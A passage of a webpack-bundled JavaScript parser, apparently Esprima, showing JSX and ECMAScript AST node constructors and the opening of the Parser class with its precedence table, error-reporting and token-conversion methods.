1072 exports.JSXMemberExpression = JSXMemberExpression;
1073 var JSXAttribute = (function () {
1074 function JSXAttribute(name, value) {
1075 this.type = jsx_syntax_1.JSXSyntax.JSXAttribute;
1076 this.name = name;
1077 this.value = value;
1078 }
1079 return JSXAttribute;
1080 }());
1081 exports.JSXAttribute = JSXAttribute;
1082 var JSXNamespacedName = (function () {
1083 function JSXNamespacedName(namespace, name) {
1084 this.type = jsx_syntax_1.JSXSyntax.JSXNamespacedName;
1085 this.namespace = namespace;
1086 this.name = name;
1087 }
1088 return JSXNamespacedName;
1089 }());
1090 exports.JSXNamespacedName = JSXNamespacedName;
1091 var JSXOpeningElement = (function () {
1092 function JSXOpeningElement(name, selfClosing, attributes) {
1093 this.type = jsx_syntax_1.JSXSyntax.JSXOpeningElement;
1094 this.name = name;
1095 this.selfClosing = selfClosing;
1096 this.attributes = attributes;
1097 }
1098 return JSXOpeningElement;
1099 }());
1100 exports.JSXOpeningElement = JSXOpeningElement;
1101 var JSXSpreadAttribute = (function () {
1102 function JSXSpreadAttribute(argument) {
1103 this.type = jsx_syntax_1.JSXSyntax.JSXSpreadAttribute;
1104 this.argument = argument;
1105 }
1106 return JSXSpreadAttribute;
1107 }());
1108 exports.JSXSpreadAttribute = JSXSpreadAttribute;
1109 var JSXText = (function () {
1110 function JSXText(value, raw) {
1111 this.type = jsx_syntax_1.JSXSyntax.JSXText;
1112 this.value = value;
1113 this.raw = raw;
1114 }
1115 return JSXText;
1116 }());
1117 exports.JSXText = JSXText;
1118
1119
1120/***/ },
1121/* 6 */
1122/***/ function(module, exports) {
1123
1124 "use strict";
1125 Object.defineProperty(exports, "__esModule", { value: true });
1126 exports.JSXSyntax = {
1127 JSXAttribute: 'JSXAttribute',
1128 JSXClosingElement: 'JSXClosingElement',
1129 JSXElement: 'JSXElement',
1130 JSXEmptyExpression: 'JSXEmptyExpression',
1131 JSXExpressionContainer: 'JSXExpressionContainer',
1132 JSXIdentifier: 'JSXIdentifier',
1133 JSXMemberExpression: 'JSXMemberExpression',
1134 JSXNamespacedName: 'JSXNamespacedName',
1135 JSXOpeningElement: 'JSXOpeningElement',
1136 JSXSpreadAttribute: 'JSXSpreadAttribute',
1137 JSXText: 'JSXText'
1138 };
1139
1140
1141/***/ },
1142/* 7 */
1143/***/ function(module, exports, __webpack_require__) {
1144
1145 "use strict";
1146 Object.defineProperty(exports, "__esModule", { value: true });
1147 var syntax_1 = __webpack_require__(2);
1148 /* tslint:disable:max-classes-per-file */
1149 var ArrayExpression = (function () {
1150 function ArrayExpression(elements) {
1151 this.type = syntax_1.Syntax.ArrayExpression;
1152 this.elements = elements;
1153 }
1154 return ArrayExpression;
1155 }());
1156 exports.ArrayExpression = ArrayExpression;
1157 var ArrayPattern = (function () {
1158 function ArrayPattern(elements) {
1159 this.type = syntax_1.Syntax.ArrayPattern;
1160 this.elements = elements;
1161 }
1162 return ArrayPattern;
1163 }());
1164 exports.ArrayPattern = ArrayPattern;
1165 var ArrowFunctionExpression = (function () {
1166 function ArrowFunctionExpression(params, body, expression) {
1167 this.type = syntax_1.Syntax.ArrowFunctionExpression;
1168 this.id = null;
1169 this.params = params;
1170 this.body = body;
1171 this.generator = false;
1172 this.expression = expression;
1173 this.async = false;
1174 }
1175 return ArrowFunctionExpression;
1176 }());
1177 exports.ArrowFunctionExpression = ArrowFunctionExpression;
1178 var AssignmentExpression = (function () {
1179 function AssignmentExpression(operator, left, right) {
1180 this.type = syntax_1.Syntax.AssignmentExpression;
1181 this.operator = operator;
1182 this.left = left;
1183 this.right = right;
1184 }
1185 return AssignmentExpression;
1186 }());
1187 exports.AssignmentExpression = AssignmentExpression;
1188 var AssignmentPattern = (function () {
1189 function AssignmentPattern(left, right) {
1190 this.type = syntax_1.Syntax.AssignmentPattern;
1191 this.left = left;
1192 this.right = right;
1193 }
1194 return AssignmentPattern;
1195 }());
1196 exports.AssignmentPattern = AssignmentPattern;
1197 var AsyncArrowFunctionExpression = (function () {
1198 function AsyncArrowFunctionExpression(params, body, expression) {
1199 this.type = syntax_1.Syntax.ArrowFunctionExpression;
1200 this.id = null;
1201 this.params = params;
1202 this.body = body;
1203 this.generator = false;
1204 this.expression = expression;
1205 this.async = true;
1206 }
1207 return AsyncArrowFunctionExpression;
1208 }());
1209 exports.AsyncArrowFunctionExpression = AsyncArrowFunctionExpression;
1210 var AsyncFunctionDeclaration = (function () {
1211 function AsyncFunctionDeclaration(id, params, body) {
1212 this.type = syntax_1.Syntax.FunctionDeclaration;
1213 this.id = id;
1214 this.params = params;
1215 this.body = body;
1216 this.generator = false;
1217 this.expression = false;
1218 this.async = true;
1219 }
1220 return AsyncFunctionDeclaration;
1221 }());
1222 exports.AsyncFunctionDeclaration = AsyncFunctionDeclaration;
1223 var AsyncFunctionExpression = (function () {
1224 function AsyncFunctionExpression(id, params, body) {
1225 this.type = syntax_1.Syntax.FunctionExpression;
1226 this.id = id;
1227 this.params = params;
1228 this.body = body;
1229 this.generator = false;
1230 this.expression = false;
1231 this.async = true;
1232 }
1233 return AsyncFunctionExpression;
1234 }());
1235 exports.AsyncFunctionExpression = AsyncFunctionExpression;
1236 var AwaitExpression = (function () {
1237 function AwaitExpression(argument) {
1238 this.type = syntax_1.Syntax.AwaitExpression;
1239 this.argument = argument;
1240 }
1241 return AwaitExpression;
1242 }());
1243 exports.AwaitExpression = AwaitExpression;
1244 var BinaryExpression = (function () {
1245 function BinaryExpression(operator, left, right) {
1246 var logical = (operator === '||' || operator === '&&');
1247 this.type = logical ? syntax_1.Syntax.LogicalExpression : syntax_1.Syntax.BinaryExpression;
1248 this.operator = operator;
1249 this.left = left;
1250 this.right = right;
1251 }
1252 return BinaryExpression;
1253 }());
1254 exports.BinaryExpression = BinaryExpression;
1255 var BlockStatement = (function () {
1256 function BlockStatement(body) {
1257 this.type = syntax_1.Syntax.BlockStatement;
1258 this.body = body;
1259 }
1260 return BlockStatement;
1261 }());
1262 exports.BlockStatement = BlockStatement;
1263 var BreakStatement = (function () {
1264 function BreakStatement(label) {
1265 this.type = syntax_1.Syntax.BreakStatement;
1266 this.label = label;
1267 }
1268 return BreakStatement;
1269 }());
1270 exports.BreakStatement = BreakStatement;
1271 var CallExpression = (function () {
1272 function CallExpression(callee, args) {
1273 this.type = syntax_1.Syntax.CallExpression;
1274 this.callee = callee;
1275 this.arguments = args;
1276 }
1277 return CallExpression;
1278 }());
1279 exports.CallExpression = CallExpression;
1280 var CatchClause = (function () {
1281 function CatchClause(param, body) {
1282 this.type = syntax_1.Syntax.CatchClause;
1283 this.param = param;
1284 this.body = body;
1285 }
1286 return CatchClause;
1287 }());
1288 exports.CatchClause = CatchClause;
1289 var ClassBody = (function () {
1290 function ClassBody(body) {
1291 this.type = syntax_1.Syntax.ClassBody;
1292 this.body = body;
1293 }
1294 return ClassBody;
1295 }());
1296 exports.ClassBody = ClassBody;
1297 var ClassDeclaration = (function () {
1298 function ClassDeclaration(id, superClass, body) {
1299 this.type = syntax_1.Syntax.ClassDeclaration;
1300 this.id = id;
1301 this.superClass = superClass;
1302 this.body = body;
1303 }
1304 return ClassDeclaration;
1305 }());
1306 exports.ClassDeclaration = ClassDeclaration;
1307 var ClassExpression = (function () {
1308 function ClassExpression(id, superClass, body) {
1309 this.type = syntax_1.Syntax.ClassExpression;
1310 this.id = id;
1311 this.superClass = superClass;
1312 this.body = body;
1313 }
1314 return ClassExpression;
1315 }());
1316 exports.ClassExpression = ClassExpression;
1317 var ComputedMemberExpression = (function () {
1318 function ComputedMemberExpression(object, property) {
1319 this.type = syntax_1.Syntax.MemberExpression;
1320 this.computed = true;
1321 this.object = object;
1322 this.property = property;
1323 }
1324 return ComputedMemberExpression;
1325 }());
1326 exports.ComputedMemberExpression = ComputedMemberExpression;
1327 var ConditionalExpression = (function () {
1328 function ConditionalExpression(test, consequent, alternate) {
1329 this.type = syntax_1.Syntax.ConditionalExpression;
1330 this.test = test;
1331 this.consequent = consequent;
1332 this.alternate = alternate;
1333 }
1334 return ConditionalExpression;
1335 }());
1336 exports.ConditionalExpression = ConditionalExpression;
1337 var ContinueStatement = (function () {
1338 function ContinueStatement(label) {
1339 this.type = syntax_1.Syntax.ContinueStatement;
1340 this.label = label;
1341 }
1342 return ContinueStatement;
1343 }());
1344 exports.ContinueStatement = ContinueStatement;
1345 var DebuggerStatement = (function () {
1346 function DebuggerStatement() {
1347 this.type = syntax_1.Syntax.DebuggerStatement;
1348 }
1349 return DebuggerStatement;
1350 }());
1351 exports.DebuggerStatement = DebuggerStatement;
1352 var Directive = (function () {
1353 function Directive(expression, directive) {
1354 this.type = syntax_1.Syntax.ExpressionStatement;
1355 this.expression = expression;
1356 this.directive = directive;
1357 }
1358 return Directive;
1359 }());
1360 exports.Directive = Directive;
1361 var DoWhileStatement = (function () {
1362 function DoWhileStatement(body, test) {
1363 this.type = syntax_1.Syntax.DoWhileStatement;
1364 this.body = body;
1365 this.test = test;
1366 }
1367 return DoWhileStatement;
1368 }());
1369 exports.DoWhileStatement = DoWhileStatement;
1370 var EmptyStatement = (function () {
1371 function EmptyStatement() {
1372 this.type = syntax_1.Syntax.EmptyStatement;
1373 }
1374 return EmptyStatement;
1375 }());
1376 exports.EmptyStatement = EmptyStatement;
1377 var ExportAllDeclaration = (function () {
1378 function ExportAllDeclaration(source) {
1379 this.type = syntax_1.Syntax.ExportAllDeclaration;
1380 this.source = source;
1381 }
1382 return ExportAllDeclaration;
1383 }());
1384 exports.ExportAllDeclaration = ExportAllDeclaration;
1385 var ExportDefaultDeclaration = (function () {
1386 function ExportDefaultDeclaration(declaration) {
1387 this.type = syntax_1.Syntax.ExportDefaultDeclaration;
1388 this.declaration = declaration;
1389 }
1390 return ExportDefaultDeclaration;
1391 }());
1392 exports.ExportDefaultDeclaration = ExportDefaultDeclaration;
1393 var ExportNamedDeclaration = (function () {
1394 function ExportNamedDeclaration(declaration, specifiers, source) {
1395 this.type = syntax_1.Syntax.ExportNamedDeclaration;
1396 this.declaration = declaration;
1397 this.specifiers = specifiers;
1398 this.source = source;
1399 }
1400 return ExportNamedDeclaration;
1401 }());
1402 exports.ExportNamedDeclaration = ExportNamedDeclaration;
1403 var ExportSpecifier = (function () {
1404 function ExportSpecifier(local, exported) {
1405 this.type = syntax_1.Syntax.ExportSpecifier;
1406 this.exported = exported;
1407 this.local = local;
1408 }
1409 return ExportSpecifier;
1410 }());
1411 exports.ExportSpecifier = ExportSpecifier;
1412 var ExpressionStatement = (function () {
1413 function ExpressionStatement(expression) {
1414 this.type = syntax_1.Syntax.ExpressionStatement;
1415 this.expression = expression;
1416 }
1417 return ExpressionStatement;
1418 }());
1419 exports.ExpressionStatement = ExpressionStatement;
1420 var ForInStatement = (function () {
1421 function ForInStatement(left, right, body) {
1422 this.type = syntax_1.Syntax.ForInStatement;
1423 this.left = left;
1424 this.right = right;
1425 this.body = body;
1426 this.each = false;
1427 }
1428 return ForInStatement;
1429 }());
1430 exports.ForInStatement = ForInStatement;
1431 var ForOfStatement = (function () {
1432 function ForOfStatement(left, right, body) {
1433 this.type = syntax_1.Syntax.ForOfStatement;
1434 this.left = left;
1435 this.right = right;
1436 this.body = body;
1437 }
1438 return ForOfStatement;
1439 }());
1440 exports.ForOfStatement = ForOfStatement;
1441 var ForStatement = (function () {
1442 function ForStatement(init, test, update, body) {
1443 this.type = syntax_1.Syntax.ForStatement;
1444 this.init = init;
1445 this.test = test;
1446 this.update = update;
1447 this.body = body;
1448 }
1449 return ForStatement;
1450 }());
1451 exports.ForStatement = ForStatement;
1452 var FunctionDeclaration = (function () {
1453 function FunctionDeclaration(id, params, body, generator) {
1454 this.type = syntax_1.Syntax.FunctionDeclaration;
1455 this.id = id;
1456 this.params = params;
1457 this.body = body;
1458 this.generator = generator;
1459 this.expression = false;
1460 this.async = false;
1461 }
1462 return FunctionDeclaration;
1463 }());
1464 exports.FunctionDeclaration = FunctionDeclaration;
1465 var FunctionExpression = (function () {
1466 function FunctionExpression(id, params, body, generator) {
1467 this.type = syntax_1.Syntax.FunctionExpression;
1468 this.id = id;
1469 this.params = params;
1470 this.body = body;
1471 this.generator = generator;
1472 this.expression = false;
1473 this.async = false;
1474 }
1475 return FunctionExpression;
1476 }());
1477 exports.FunctionExpression = FunctionExpression;
1478 var Identifier = (function () {
1479 function Identifier(name) {
1480 this.type = syntax_1.Syntax.Identifier;
1481 this.name = name;
1482 }
1483 return Identifier;
1484 }());
1485 exports.Identifier = Identifier;
1486 var IfStatement = (function () {
1487 function IfStatement(test, consequent, alternate) {
1488 this.type = syntax_1.Syntax.IfStatement;
1489 this.test = test;
1490 this.consequent = consequent;
1491 this.alternate = alternate;
1492 }
1493 return IfStatement;
1494 }());
1495 exports.IfStatement = IfStatement;
1496 var ImportDeclaration = (function () {
1497 function ImportDeclaration(specifiers, source) {
1498 this.type = syntax_1.Syntax.ImportDeclaration;
1499 this.specifiers = specifiers;
1500 this.source = source;
1501 }
1502 return ImportDeclaration;
1503 }());
1504 exports.ImportDeclaration = ImportDeclaration;
1505 var ImportDefaultSpecifier = (function () {
1506 function ImportDefaultSpecifier(local) {
1507 this.type = syntax_1.Syntax.ImportDefaultSpecifier;
1508 this.local = local;
1509 }
1510 return ImportDefaultSpecifier;
1511 }());
1512 exports.ImportDefaultSpecifier = ImportDefaultSpecifier;
1513 var ImportNamespaceSpecifier = (function () {
1514 function ImportNamespaceSpecifier(local) {
1515 this.type = syntax_1.Syntax.ImportNamespaceSpecifier;
1516 this.local = local;
1517 }
1518 return ImportNamespaceSpecifier;
1519 }());
1520 exports.ImportNamespaceSpecifier = ImportNamespaceSpecifier;
1521 var ImportSpecifier = (function () {
1522 function ImportSpecifier(local, imported) {
1523 this.type = syntax_1.Syntax.ImportSpecifier;
1524 this.local = local;
1525 this.imported = imported;
1526 }
1527 return ImportSpecifier;
1528 }());
1529 exports.ImportSpecifier = ImportSpecifier;
1530 var LabeledStatement = (function () {
1531 function LabeledStatement(label, body) {
1532 this.type = syntax_1.Syntax.LabeledStatement;
1533 this.label = label;
1534 this.body = body;
1535 }
1536 return LabeledStatement;
1537 }());
1538 exports.LabeledStatement = LabeledStatement;
1539 var Literal = (function () {
1540 function Literal(value, raw) {
1541 this.type = syntax_1.Syntax.Literal;
1542 this.value = value;
1543 this.raw = raw;
1544 }
1545 return Literal;
1546 }());
1547 exports.Literal = Literal;
1548 var MetaProperty = (function () {
1549 function MetaProperty(meta, property) {
1550 this.type = syntax_1.Syntax.MetaProperty;
1551 this.meta = meta;
1552 this.property = property;
1553 }
1554 return MetaProperty;
1555 }());
1556 exports.MetaProperty = MetaProperty;
1557 var MethodDefinition = (function () {
1558 function MethodDefinition(key, computed, value, kind, isStatic) {
1559 this.type = syntax_1.Syntax.MethodDefinition;
1560 this.key = key;
1561 this.computed = computed;
1562 this.value = value;
1563 this.kind = kind;
1564 this.static = isStatic;
1565 }
1566 return MethodDefinition;
1567 }());
1568 exports.MethodDefinition = MethodDefinition;
1569 var Module = (function () {
1570 function Module(body) {
1571 this.type = syntax_1.Syntax.Program;
1572 this.body = body;
1573 this.sourceType = 'module';
1574 }
1575 return Module;
1576 }());
1577 exports.Module = Module;
1578 var NewExpression = (function () {
1579 function NewExpression(callee, args) {
1580 this.type = syntax_1.Syntax.NewExpression;
1581 this.callee = callee;
1582 this.arguments = args;
1583 }
1584 return NewExpression;
1585 }());
1586 exports.NewExpression = NewExpression;
1587 var ObjectExpression = (function () {
1588 function ObjectExpression(properties) {
1589 this.type = syntax_1.Syntax.ObjectExpression;
1590 this.properties = properties;
1591 }
1592 return ObjectExpression;
1593 }());
1594 exports.ObjectExpression = ObjectExpression;
1595 var ObjectPattern = (function () {
1596 function ObjectPattern(properties) {
1597 this.type = syntax_1.Syntax.ObjectPattern;
1598 this.properties = properties;
1599 }
1600 return ObjectPattern;
1601 }());
1602 exports.ObjectPattern = ObjectPattern;
1603 var Property = (function () {
1604 function Property(kind, key, computed, value, method, shorthand) {
1605 this.type = syntax_1.Syntax.Property;
1606 this.key = key;
1607 this.computed = computed;
1608 this.value = value;
1609 this.kind = kind;
1610 this.method = method;
1611 this.shorthand = shorthand;
1612 }
1613 return Property;
1614 }());
1615 exports.Property = Property;
1616 var RegexLiteral = (function () {
1617 function RegexLiteral(value, raw, pattern, flags) {
1618 this.type = syntax_1.Syntax.Literal;
1619 this.value = value;
1620 this.raw = raw;
1621 this.regex = { pattern: pattern, flags: flags };
1622 }
1623 return RegexLiteral;
1624 }());
1625 exports.RegexLiteral = RegexLiteral;
1626 var RestElement = (function () {
1627 function RestElement(argument) {
1628 this.type = syntax_1.Syntax.RestElement;
1629 this.argument = argument;
1630 }
1631 return RestElement;
1632 }());
1633 exports.RestElement = RestElement;
1634 var ReturnStatement = (function () {
1635 function ReturnStatement(argument) {
1636 this.type = syntax_1.Syntax.ReturnStatement;
1637 this.argument = argument;
1638 }
1639 return ReturnStatement;
1640 }());
1641 exports.ReturnStatement = ReturnStatement;
1642 var Script = (function () {
1643 function Script(body) {
1644 this.type = syntax_1.Syntax.Program;
1645 this.body = body;
1646 this.sourceType = 'script';
1647 }
1648 return Script;
1649 }());
1650 exports.Script = Script;
1651 var SequenceExpression = (function () {
1652 function SequenceExpression(expressions) {
1653 this.type = syntax_1.Syntax.SequenceExpression;
1654 this.expressions = expressions;
1655 }
1656 return SequenceExpression;
1657 }());
1658 exports.SequenceExpression = SequenceExpression;
1659 var SpreadElement = (function () {
1660 function SpreadElement(argument) {
1661 this.type = syntax_1.Syntax.SpreadElement;
1662 this.argument = argument;
1663 }
1664 return SpreadElement;
1665 }());
1666 exports.SpreadElement = SpreadElement;
1667 var StaticMemberExpression = (function () {
1668 function StaticMemberExpression(object, property) {
1669 this.type = syntax_1.Syntax.MemberExpression;
1670 this.computed = false;
1671 this.object = object;
1672 this.property = property;
1673 }
1674 return StaticMemberExpression;
1675 }());
1676 exports.StaticMemberExpression = StaticMemberExpression;
1677 var Super = (function () {
1678 function Super() {
1679 this.type = syntax_1.Syntax.Super;
1680 }
1681 return Super;
1682 }());
1683 exports.Super = Super;
1684 var SwitchCase = (function () {
1685 function SwitchCase(test, consequent) {
1686 this.type = syntax_1.Syntax.SwitchCase;
1687 this.test = test;
1688 this.consequent = consequent;
1689 }
1690 return SwitchCase;
1691 }());
1692 exports.SwitchCase = SwitchCase;
1693 var SwitchStatement = (function () {
1694 function SwitchStatement(discriminant, cases) {
1695 this.type = syntax_1.Syntax.SwitchStatement;
1696 this.discriminant = discriminant;
1697 this.cases = cases;
1698 }
1699 return SwitchStatement;
1700 }());
1701 exports.SwitchStatement = SwitchStatement;
1702 var TaggedTemplateExpression = (function () {
1703 function TaggedTemplateExpression(tag, quasi) {
1704 this.type = syntax_1.Syntax.TaggedTemplateExpression;
1705 this.tag = tag;
1706 this.quasi = quasi;
1707 }
1708 return TaggedTemplateExpression;
1709 }());
1710 exports.TaggedTemplateExpression = TaggedTemplateExpression;
1711 var TemplateElement = (function () {
1712 function TemplateElement(value, tail) {
1713 this.type = syntax_1.Syntax.TemplateElement;
1714 this.value = value;
1715 this.tail = tail;
1716 }
1717 return TemplateElement;
1718 }());
1719 exports.TemplateElement = TemplateElement;
1720 var TemplateLiteral = (function () {
1721 function TemplateLiteral(quasis, expressions) {
1722 this.type = syntax_1.Syntax.TemplateLiteral;
1723 this.quasis = quasis;
1724 this.expressions = expressions;
1725 }
1726 return TemplateLiteral;
1727 }());
1728 exports.TemplateLiteral = TemplateLiteral;
1729 var ThisExpression = (function () {
1730 function ThisExpression() {
1731 this.type = syntax_1.Syntax.ThisExpression;
1732 }
1733 return ThisExpression;
1734 }());
1735 exports.ThisExpression = ThisExpression;
1736 var ThrowStatement = (function () {
1737 function ThrowStatement(argument) {
1738 this.type = syntax_1.Syntax.ThrowStatement;
1739 this.argument = argument;
1740 }
1741 return ThrowStatement;
1742 }());
1743 exports.ThrowStatement = ThrowStatement;
1744 var TryStatement = (function () {
1745 function TryStatement(block, handler, finalizer) {
1746 this.type = syntax_1.Syntax.TryStatement;
1747 this.block = block;
1748 this.handler = handler;
1749 this.finalizer = finalizer;
1750 }
1751 return TryStatement;
1752 }());
1753 exports.TryStatement = TryStatement;
1754 var UnaryExpression = (function () {
1755 function UnaryExpression(operator, argument) {
1756 this.type = syntax_1.Syntax.UnaryExpression;
1757 this.operator = operator;
1758 this.argument = argument;
1759 this.prefix = true;
1760 }
1761 return UnaryExpression;
1762 }());
1763 exports.UnaryExpression = UnaryExpression;
1764 var UpdateExpression = (function () {
1765 function UpdateExpression(operator, argument, prefix) {
1766 this.type = syntax_1.Syntax.UpdateExpression;
1767 this.operator = operator;
1768 this.argument = argument;
1769 this.prefix = prefix;
1770 }
1771 return UpdateExpression;
1772 }());
1773 exports.UpdateExpression = UpdateExpression;
1774 var VariableDeclaration = (function () {
1775 function VariableDeclaration(declarations, kind) {
1776 this.type = syntax_1.Syntax.VariableDeclaration;
1777 this.declarations = declarations;
1778 this.kind = kind;
1779 }
1780 return VariableDeclaration;
1781 }());
1782 exports.VariableDeclaration = VariableDeclaration;
1783 var VariableDeclarator = (function () {
1784 function VariableDeclarator(id, init) {
1785 this.type = syntax_1.Syntax.VariableDeclarator;
1786 this.id = id;
1787 this.init = init;
1788 }
1789 return VariableDeclarator;
1790 }());
1791 exports.VariableDeclarator = VariableDeclarator;
1792 var WhileStatement = (function () {
1793 function WhileStatement(test, body) {
1794 this.type = syntax_1.Syntax.WhileStatement;
1795 this.test = test;
1796 this.body = body;
1797 }
1798 return WhileStatement;
1799 }());
1800 exports.WhileStatement = WhileStatement;
1801 var WithStatement = (function () {
1802 function WithStatement(object, body) {
1803 this.type = syntax_1.Syntax.WithStatement;
1804 this.object = object;
1805 this.body = body;
1806 }
1807 return WithStatement;
1808 }());
1809 exports.WithStatement = WithStatement;
1810 var YieldExpression = (function () {
1811 function YieldExpression(argument, delegate) {
1812 this.type = syntax_1.Syntax.YieldExpression;
1813 this.argument = argument;
1814 this.delegate = delegate;
1815 }
1816 return YieldExpression;
1817 }());
1818 exports.YieldExpression = YieldExpression;
1819
1820
1821/***/ },
1822/* 8 */
1823/***/ function(module, exports, __webpack_require__) {
1824
1825 "use strict";
1826 Object.defineProperty(exports, "__esModule", { value: true });
1827 var assert_1 = __webpack_require__(9);
1828 var error_handler_1 = __webpack_require__(10);
1829 var messages_1 = __webpack_require__(11);
1830 var Node = __webpack_require__(7);
1831 var scanner_1 = __webpack_require__(12);
1832 var syntax_1 = __webpack_require__(2);
1833 var token_1 = __webpack_require__(13);
1834 var ArrowParameterPlaceHolder = 'ArrowParameterPlaceHolder';
1835 var Parser = (function () {
1836 function Parser(code, options, delegate) {
1837 if (options === void 0) { options = {}; }
1838 this.config = {
1839 range: (typeof options.range === 'boolean') && options.range,
1840 loc: (typeof options.loc === 'boolean') && options.loc,
1841 source: null,
1842 tokens: (typeof options.tokens === 'boolean') && options.tokens,
1843 comment: (typeof options.comment === 'boolean') && options.comment,
1844 tolerant: (typeof options.tolerant === 'boolean') && options.tolerant
1845 };
1846 if (this.config.loc && options.source && options.source !== null) {
1847 this.config.source = String(options.source);
1848 }
1849 this.delegate = delegate;
1850 this.errorHandler = new error_handler_1.ErrorHandler();
1851 this.errorHandler.tolerant = this.config.tolerant;
1852 this.scanner = new scanner_1.Scanner(code, this.errorHandler);
1853 this.scanner.trackComment = this.config.comment;
1854 this.operatorPrecedence = {
1855 ')': 0,
1856 ';': 0,
1857 ',': 0,
1858 '=': 0,
1859 ']': 0,
1860 '||': 1,
1861 '&&': 2,
1862 '|': 3,
1863 '^': 4,
1864 '&': 5,
1865 '==': 6,
1866 '!=': 6,
1867 '===': 6,
1868 '!==': 6,
1869 '<': 7,
1870 '>': 7,
1871 '<=': 7,
1872 '>=': 7,
1873 '<<': 8,
1874 '>>': 8,
1875 '>>>': 8,
1876 '+': 9,
1877 '-': 9,
1878 '*': 11,
1879 '/': 11,
1880 '%': 11
1881 };
1882 this.lookahead = {
1883 type: 2 /* EOF */,
1884 value: '',
1885 lineNumber: this.scanner.lineNumber,
1886 lineStart: 0,
1887 start: 0,
1888 end: 0
1889 };
1890 this.hasLineTerminator = false;
1891 this.context = {
1892 isModule: false,
1893 await: false,
1894 allowIn: true,
1895 allowStrictDirective: true,
1896 allowYield: true,
1897 firstCoverInitializedNameError: null,
1898 isAssignmentTarget: false,
1899 isBindingElement: false,
1900 inFunctionBody: false,
1901 inIteration: false,
1902 inSwitch: false,
1903 labelSet: {},
1904 strict: false
1905 };
1906 this.tokens = [];
1907 this.startMarker = {
1908 index: 0,
1909 line: this.scanner.lineNumber,
1910 column: 0
1911 };
1912 this.lastMarker = {
1913 index: 0,
1914 line: this.scanner.lineNumber,
1915 column: 0
1916 };
1917 this.nextToken();
1918 this.lastMarker = {
1919 index: this.scanner.index,
1920 line: this.scanner.lineNumber,
1921 column: this.scanner.index - this.scanner.lineStart
1922 };
1923 }
1924 Parser.prototype.throwError = function (messageFormat) {
1925 var values = [];
1926 for (var _i = 1; _i < arguments.length; _i++) {
1927 values[_i - 1] = arguments[_i];
1928 }
1929 var args = Array.prototype.slice.call(arguments, 1);
1930 var msg = messageFormat.replace(/%(\d)/g, function (whole, idx) {
1931 assert_1.assert(idx < args.length, 'Message reference must be in range');
1932 return args[idx];
1933 });
1934 var index = this.lastMarker.index;
1935 var line = this.lastMarker.line;
1936 var column = this.lastMarker.column + 1;
1937 throw this.errorHandler.createError(index, line, column, msg);
1938 };
1939 Parser.prototype.tolerateError = function (messageFormat) {
1940 var values = [];
1941 for (var _i = 1; _i < arguments.length; _i++) {
1942 values[_i - 1] = arguments[_i];
1943 }
1944 var args = Array.prototype.slice.call(arguments, 1);
1945 var msg = messageFormat.replace(/%(\d)/g, function (whole, idx) {
1946 assert_1.assert(idx < args.length, 'Message reference must be in range');
1947 return args[idx];
1948 });
1949 var index = this.lastMarker.index;
1950 var line = this.scanner.lineNumber;
1951 var column = this.lastMarker.column + 1;
1952 this.errorHandler.tolerateError(index, line, column, msg);
1953 };
1954 // Throw an exception because of the token.
1955 Parser.prototype.unexpectedTokenError = function (token, message) {
1956 var msg = message || messages_1.Messages.UnexpectedToken;
1957 var value;
1958 if (token) {
1959 if (!message) {
1960 msg = (token.type === 2 /* EOF */) ? messages_1.Messages.UnexpectedEOS :
1961 (token.type === 3 /* Identifier */) ? messages_1.Messages.UnexpectedIdentifier :
1962 (token.type === 6 /* NumericLiteral */) ? messages_1.Messages.UnexpectedNumber :
1963 (token.type === 8 /* StringLiteral */) ? messages_1.Messages.UnexpectedString :
1964 (token.type === 10 /* Template */) ? messages_1.Messages.UnexpectedTemplate :
1965 messages_1.Messages.UnexpectedToken;
1966 if (token.type === 4 /* Keyword */) {
1967 if (this.scanner.isFutureReservedWord(token.value)) {
1968 msg = messages_1.Messages.UnexpectedReserved;
1969 }
1970 else if (this.context.strict && this.scanner.isStrictModeReservedWord(token.value)) {
1971 msg = messages_1.Messages.StrictReservedWord;
1972 }
1973 }
1974 }
1975 value = token.value;
1976 }
1977 else {
1978 value = 'ILLEGAL';
1979 }
1980 msg = msg.replace('%0', value);
1981 if (token && typeof token.lineNumber === 'number') {
1982 var index = token.start;
1983 var line = token.lineNumber;
1984 var lastMarkerLineStart = this.lastMarker.index - this.lastMarker.column;
1985 var column = token.start - lastMarkerLineStart + 1;
1986 return this.errorHandler.createError(index, line, column, msg);
1987 }
1988 else {
1989 var index = this.lastMarker.index;
1990 var line = this.lastMarker.line;
1991 var column = this.lastMarker.column + 1;
1992 return this.errorHandler.createError(index, line, column, msg);
1993 }
1994 };
1995 Parser.prototype.throwUnexpectedToken = function (token, message) {
1996 throw this.unexpectedTokenError(token, message);
1997 };
1998 Parser.prototype.tolerateUnexpectedToken = function (token, message) {
1999 this.errorHandler.tolerate(this.unexpectedTokenError(token, message));
2000 };
2001 Parser.prototype.collectComments = function () {
2002 if (!this.config.comment) {
2003 this.scanner.scanComments();
2004 }
2005 else {
2006 var comments = this.scanner.scanComments();
2007 if (comments.length > 0 && this.delegate) {
2008 for (var i = 0; i < comments.length; ++i) {
2009 var e = comments[i];
2010 var node = void 0;
2011 node = {
2012 type: e.multiLine ? 'BlockComment' : 'LineComment',
2013 value: this.scanner.source.slice(e.slice[0], e.slice[1])
2014 };
2015 if (this.config.range) {
2016 node.range = e.range;
2017 }
2018 if (this.config.loc) {
2019 node.loc = e.loc;
2020 }
2021 var metadata = {
2022 start: {
2023 line: e.loc.start.line,
2024 column: e.loc.start.column,
2025 offset: e.range[0]
2026 },
2027 end: {
2028 line: e.loc.end.line,
2029 column: e.loc.end.column,
2030 offset: e.range[1]
2031 }
2032 };
2033 this.delegate(node, metadata);
2034 }
2035 }
2036 }
2037 };
2038 // From internal representation to an external structure
2039 Parser.prototype.getTokenRaw = function (token) {
2040 return this.scanner.source.slice(token.start, token.end);
2041 };
2042 Parser.prototype.convertToken = function (token) {
2043 var t = {
2044 type: token_1.TokenName[token.type],
2045 value: this.getTokenRaw(token)
2046 };
2047 if (this.config.range) {
2048 t.range = [token.start, token.end];
2049 }
2050 if (this.config.loc) {
2051 t.loc = {
2052 start: {
2053 line: this.startMarker.line,
2054 column: this.startMarker.column
2055 },
2056 end: {
2057 line: this.scanner.lineNumber,
2058 column: this.scanner.index - this.scanner.lineStart
2059 }
2060 };
2061 }
2062 if (token.type === 9 /* RegularExpression */) {
2063 var pattern = token.pattern;
2064 var flags = token.flags;
2065 t.regex = { pattern: pattern, flags: flags };
2066 }
2067 return t;
2068 };
2069 Parser.prototype.nextToken = function () {
2070 var token = this.lookahead;
2071 this.lastMarker.index = this.scanner.index;
2072 this.lastMarker.line = this.scanner.lineNumber;
